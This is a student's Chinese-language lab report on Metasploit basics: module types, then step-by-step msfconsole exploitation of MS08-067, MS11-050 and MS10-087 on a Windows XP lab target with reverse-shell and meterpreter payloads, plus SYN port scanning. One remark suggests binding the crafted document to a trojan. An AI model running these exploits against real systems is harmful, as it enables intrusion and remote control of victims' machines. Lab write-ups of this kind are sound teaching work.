20145221高其_MSF基础应用
目录
概述
MSF的六种模块
- Exploit模块
- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
- Payload模块
- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- Encoder模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- 不改变payload作用,但能对payload进行加工
- Aux模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
- Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
- Nops模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
本次实验环境配置
- 攻击机:
Kali
- 靶机:
win XP SP3(English)
MS08-067漏洞攻击
Step1
- 启用msf终端:
msfconsole
- 可以通过:
search ms08_067
,查找相应的漏洞 - 找到后,会显示相应漏洞的模块,如下图所示
Step2
msfconsole有一个好处,就是每一步的操作都可以提示你后续的步骤,即便不知道指令也可以通过
help
来查找-
根据上述漏洞的模块,我们可以选择相应的模块
use exploit/windows/smb/ms08_067_netapi
-
接下来可以查看相应的攻击载荷,首先我们可以查看可使用的载荷
show payloads
-
因为我们想要获取靶机的shell,所以可以选择以上2种攻击载荷
- 如:
set payload generic/shell_reverse_tcp
- 如:
注意:此处的目的是获取shell,如果想用
meterpreter
,找到相应的payload并设置即可
Step3
- 查看配置渗透攻击所需的配置项
show options
通过上述操作,可以让我们知道有哪些参数需要进行配置
set LHOST 192.168.42.133 //设置攻击IP
set RHOST 192.168.42.222 //设置靶机IP
- 接下来可以看看有哪些合适的靶机平台
show targets
- 设置相应平台的编号:
set target 0
- 此处不设置也可以,msf平台可以自动帮你从第一个开始搜索满足要求的靶机平台
Step4
-
发起渗透攻击
exploit
-
获取shell如下图所示
攻击成功!
问题思考
- 最开始用老师的靶机,攻击时一直提示,会话不能建立,将提示语句进行搜索,发现网上提供的sp3中文简体版已经把这个漏洞给补了,可以考虑下英文版的xp
- 所以在本次实验中,将靶机改为英文版的xp了,也使得这次成绩成功
MS11-050漏洞攻击
Step1
- 同上述步骤,第一步,查找相关漏洞信息
Step2
-
加载相应模块
use windows/browser/ms11_050_mshtml_cobjectelement
-
找到模块后,可以通过
info
指令查看模块详细信息 通过简单的阅读不难发现,该模块针对浏览器包括IE7、IE8,符合本次靶机环境
Step3
- 加载payload
set payload windows/meterpreter/reverese_http
- 这里采用
meterpreter
方式获取权限
设置相应参数,通过
show options
查看
set URIPATH ms5221 //设置访问主页的URI
set LHOST 192.168.42.133 //设置攻击IP
set LPORT 8443 //设置攻击端口
Step4
-
发起渗透攻击
exploit
-
此时,在靶机中启动IE 7浏览器,访问链接:
http://192.168.42.133:8080/ms5221
; -
与此同时,在攻击机的MSF终端中,可以看到如下信息:
在meterpreter接入会话:
sessions -i 3
-
查看系统信息:
sysinfo
攻击成功!
问题思考
- 因为该漏洞对靶机的系统有要求,除此之外对IE浏览器的版本也有要求,所以在攻击之前确认靶机的浏览器为IE7或8
MS10-087漏洞攻击
Step1
- 选取module:
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Step2
- 设置合适的payload:
set payload windows/exec
- 注:此处是运行一个可执行文件
Step3
设置相应参数,通过
show options
查看
set FILENAME 20145221.rft //设置生成文件rtf
set CMD notepad.exe //绑定记事本执行
Step4
-
发起渗透攻击
exploit
- 将生成的文件从
/root/.msf4/local/20145221.rft
拷贝到靶机上,并把格式修改为.doc
- 将生成的文件从
-
双击运行,结果被成功绑定到记事本程序
问题思考
- kali不知道如何打开隐藏的文件夹,所以一时半会没有找到上述目录,最后在终端中,直接用
cp
命令,成功将文件拷贝出来 - 同时,如果我们能将该doc关联木马软件,就可以使用户在不知情的情况下遭受攻击,具有一定的隐蔽性
辅助模块
Step1
- 进入
msfconsle
后,通过下面相关指令查找辅助模块show auxiliary
ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;
ftpbounce:通过FTP BOUNCE攻击的原理对TCP服务进行枚举
syn:使用发送TCP SYN标志的方式探测开放的端口
tcp:通过一次完整的TCP链接来判断端口是否开放
xmas:一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤
- 选取相应的moudle,在这里选择如下:
use auxiliary/scanner/portscan/syn
Step2
设置好相应参数,可以通过
show options
来查看
set RHOSTS 192.168.42.222 //设置扫描目标IP地址
set THREADS 50 //设置线程数
Step3
-
启动:
run
,扫描结果如下: -
此时,我们也可以在
msf
下用nmap的相关指令,对目标主机进行扫描:通过观察不难发现,扫描速度更快,并且对每种端口的作用也有了个说明,能弄清楚每个端口是干嘛的
问题思考
- aux模块虽然不像exploit那样直接对靶机进行攻击,但它是排头兵,是对成功实现攻击的很好保障,比如在CTF竞赛中,我们为了查看靶机的web服务,首先就要对开放端口进行扫描,确认哪个端口是挂了web的,然后才有后面的后台扫描、拖库、旁注、提权等操作
- 所以辅助模块在整个六大模块中的地位也是举足轻重的
总结
- kali上的metasploit渗透测试工具,是一个功能强大内容丰富的工具集,可以针对系统漏洞、软件漏洞、服务漏洞进行攻击,对于每一种攻击,又有多种攻击载荷可供使用,对于每种攻击载荷又可以使用编码器模块进行加工,所以六大模块相辅相成,构成了渗透的完美系统
- 就这次实践本身来看,许多攻击还是有一定成功率的,但部分漏洞比较挑剔,只有在特定的系统环境、特定的触发条件,才会被渗透,所以有时为了验证某漏洞的存在,还要专门配一个可以被攻击的靶机;或者,为了攻击成功,不停地寻找更合适的漏洞,这也是本次实践所花的时间成本所在。